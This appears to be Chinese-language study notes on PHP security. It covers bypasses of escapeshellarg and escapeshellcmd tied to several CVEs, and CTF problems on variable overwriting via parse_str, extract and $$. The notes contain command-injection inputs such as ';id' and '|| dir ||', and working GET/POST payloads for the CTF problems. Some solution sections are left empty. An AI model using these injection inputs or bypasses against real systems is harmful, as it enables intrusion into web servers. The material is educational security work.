1.shell過濾
escapeshellarg和escapeshellcmd的功能
escapeshellarg
1.確保用戶只傳遞一個參數給命令
2.用戶不能指定更多的參數一個
3.用戶不能執行不同的命令
escapeshellcmd
1.確保用戶只執行一個命令
2.用戶可以指定不限數量的參數
3.用戶不能執行不同的命令
讓我們用groups
去打印組裏每個username成員
$username = 'myuser';
system('groups '.$username);
=>myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
但是***者可以在username裏使用;
或者||
在Linux裏,這意味着第二個命令可以在第一個之後被執行
$username = 'myuser;id';
system('groups '.$username);
=>myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)
爲了防止這一點,我們使用escapeshellcmd
現在***者不能允許第2個命令了
$username = 'myuser;id'; // escapeshellcmd adds before ;
system(escapeshellcmd('groups '.$username));
=>(nothing)
因爲php內部運行了這樣的命令
$ groups myuser;id groups: „myuser;id”: no such user
myuser;id
被當成了一個字符串
但是在這種方法中,***者可以指定更多參數groups
例如,他一次檢測多個用戶
$username = 'myuser1 myuser2';
system('groups '.$username);
=>myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo
假設我們希望允許每個腳本執行僅檢查一個用戶:
$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>(noting)
因爲現在$username
被視爲單個參數:$ groups 'myuser1 myuser2' groups: "myuser1 myuser2": no such user
使用 escapeshellcmd / escapeshellarg
時不可能執行第二個命令。
但是我們仍然可以將參數傳遞給第一個命令。
這意味着我們也可以將新選項傳遞給命令。
利用漏洞的能力取決於目標可執行文件。
經典EXP
PHP <= 4.3.6 on Windows – CVE-2004-0542
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
同時運行dir
命令.
$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 – CVE-2008-2051
Shell需要使用GBK,EUC-KR,SJIS等可變寬度字符集的語言環境。
$text = "sth"; system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id"; system(escapeshellcmd("echo ".$text));
或者
$text1 = 'word';
$text2 = 'word2'; system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #"; system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows – CVE-2015-4642
額外傳遞的第三個參數(—param3)。
$a = 'param1_value';
$b = 'param2_value'; system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\'; $b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
PHP 7.x before 7.0.2 – CVE-2016-1904
如果將1024mb字符串傳遞給escapeshellarg,則導致緩衝區溢出escapeshellcmd。
PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows
啓用EnableDelayedExpansion後,展開一些環境變量。
然後!STH!
運行類似於%STH%
escapeshellarg
不會過濾!
字符EnableDelayedExpansion
以在HKLM或HKCU下的註冊表中設置:
[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor] "DelayedExpansion"= (REG_DWORD) 1=enabled 0=disabled (default)
例如:
// Leak appdata dir value $text = '!APPDATA!'; print "echo ".escapeshellarg($text);
2.變量覆蓋
通常將可以用自定義的參數值替換原有變量值的情況稱爲變量覆蓋漏洞。經常導致變量覆蓋漏洞場景有:$$使用不當,extract()函數使用不當,parse_str()函數使用不當,import_request_variables()使用不當,開啓了全局變量註冊等。
0×01 parse_str函數導致的變量覆蓋問題
parse_str() 函數用於把查詢字符串解析到變量中,如果沒有array 參數,則由該函數設置的變量將覆蓋已存在的同名變量。
語法:parse_str(string,array)
parse_str() 用法參考:http://php.net/parse_str
CTF中parse_str()導致的變量覆蓋問題的例題1:
題目源碼:
1.<?php
2.error_reporting(0);
3.if (empty($_GET['id'])) {
4. show_source(__FILE__);
5. die();
6.} else {
7. include (‘flag.php’);
8. $a = “www.OPENCTF.com”;
9. $id = $_GET['id'];
10. @parse_str($id);
11. if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
12. echo $flag;
13. } else {
14. exit(‘其實很簡單其實並不難!’);
15. }
16.}
17.?>
題目分析:
首先要求使用GET提交id參數,然後parse_str($id)對id參數的數據進行處理,再使用判斷$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)的結果是否爲真,爲真就返回flag,md5(‘QNKCDZO’)的結果是0e830400451993494058024219903391由於此次要滿足$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)所以要利用php弱語言特性,0e123會被當做科學計數法,0 * 10 x 123。所以需要找到一個字符串md5後的結果是0e開頭後面都是數字的,如,240610708,s878926199a
PHP處理0e開頭md5哈希字符串缺陷/bug 參考:http://www.cnblogs.com/Primzahl/p/6018158.html
解題方法:
使用GET請求id=a[0]=240610708,這樣會將a[0]的值覆蓋爲240610708,然後經過md5後得到0e462097431906509019562988736854與md5(‘QNKCDZO’)的結果0e830400451993494058024219903391比較都是0 所以相等,滿足條件,得打flag。
最終PAYLOAD:
GET DATA:
?id=a[0]=s878926199a
or
?id=a[0]=240610708
0×02 extract()函數導致的變量覆蓋問題
extract() 該函數使用數組鍵名作爲變量名,使用數組鍵值作爲變量值。針對數組中的每個元素,將在當前符號表中創建對應的一個變量。
extract()的用法參考:http://www.runoob.com/php/func-array-extract.html
語法: extract(array,extract_rules,prefix)
CTF中extract()導致的變量覆蓋問題的例題1:
題目源碼:
1.<?php
2.$flag = ‘xxx’;
3.extract($_GET);
4.if (isset($gift)) {
5. $content = trim(file_get_contents($flag));
6. if ($gift == $content) {
7. echo ‘hctf{…}’;
8. } else {
9. echo ‘Oh..’;
10. }
11.}
12.?>
題目分析:
題目使用了extract($_GET)接收了GET請求中的數據,並將鍵名和鍵值轉換爲變量名和變量的值,然後再進行兩個if 的條件判斷,所以可以使用GET提交參數和值,利用extract()對變量進行覆蓋,從而滿足各個條件。
解題方法:
GET請求 ?flag=&gift=,extract()會將$flag和$gift的值覆蓋了,將變量的值設置爲空或者不存在的文件就滿足$gift == $content。
最終PAYLOAD:
GET DATA: ?flag=&gift=
CTF中extract()導致的變量覆蓋問題的例題2:
題目源碼:
1.<?php if ($_SERVER["REQUEST_METHOD"] == “POST”) { ?>
2. <?php
3. extract($_POST);
4. if ($pass == $thepassword_123) { ?>
5. <div class=”alert alert-success”>
6. <code><?php echo $theflag; ?></code>
7. </div>
8. <?php } ?>
9. <?php } ?>
題目分析:
題目要求使用POST提交數據,extract($_POST)會將POST的數據中的鍵名和鍵值轉換爲相應的變量名和變量值,利用這個覆蓋$pass和$thepassword_123變量的值,從而滿足$pass == $thepassword_123這個條件。
解題方法:
使用POST請求提交pass=&thepassword_123=, 然後extract()會將接收到的數據將$pass和$thepassword_123變量的值覆蓋爲空,便滿足條件了。
最終PAYLOAD:
POST DATA:pass=&thepassword_123=
0×03 $$導致的變量覆蓋問題
$$ 導致的變量覆蓋問題在CTF代碼審計題目中經常在foreach中出現,如以下的示例代碼,使用foreach來遍歷數組中的值,然後再將獲取到的數組鍵名作爲變量,數組中的鍵值作爲變量的值。因此就產生了變量覆蓋漏洞。請求?name=test 會將$name的值覆蓋,變爲test。
1.<?php
2.//?name=test
3.//output:string(4) “name” string(4) “test” string(4) “test” test
4.$name=’thinking’;
5.foreach ($_GET as $key => $value)
6. $$key = $value;
7. var_dump($key);
8. var_dump($value);
9. var_dump($$key);
10.echo $name;
11.?>
CTF中$$導致的變量覆蓋問題的例題1:
題目源碼:
1.<?php
2.include “flag.php”;
3.$_403 = “Access Denied”;
4.$_200 = “Welcome Admin”;
5.if ($_SERVER["REQUEST_METHOD"] != “POST”)
6. die(“BugsBunnyCTF is here :p…”);
7.if ( !isset($_POST["flag"]) )
8. die($_403);
9.foreach ($_GET as $key => $value)
10. $$key = $$value;
11.foreach ($_POST as $key => $value)
12. $$key = $value;
13.if ( $_POST["flag"] !== $flag )
14. die($_403);
15.echo “This is your flag : “. $flag . “\n”;
16.die($_200);
17.?>
題目分析:
源碼包含了flag.php文件,並且需要滿足3個if裏的條件才能獲取flag,題目中使用了兩個foreach並且也使用了$$.兩個foreach中對 $$key的處理是不一樣的,滿足條件後會將$flag裏面的值打印出來,所以$flag是在flag.php文件文件中的。
但是由於第7,11-14行間的代碼會將$flag的值給覆蓋掉了,所以需要先將$flag的值賦給$_200或$_403變量,然後利用die($_200)或 die($_403)將flag打印出來。
解題方法:
由於第7,11-14行間的代碼會將$flag的值給覆蓋掉,所以只能利用第一個foreach先將$flag的值賦給$_200,然後利用die($_200)將原本的flag值打印出來。
最終PAYLOAD:
關於$$變量覆蓋的CTF題
三種解法:
第一種:
第二種:
第三種:php僞協議
3.框架路由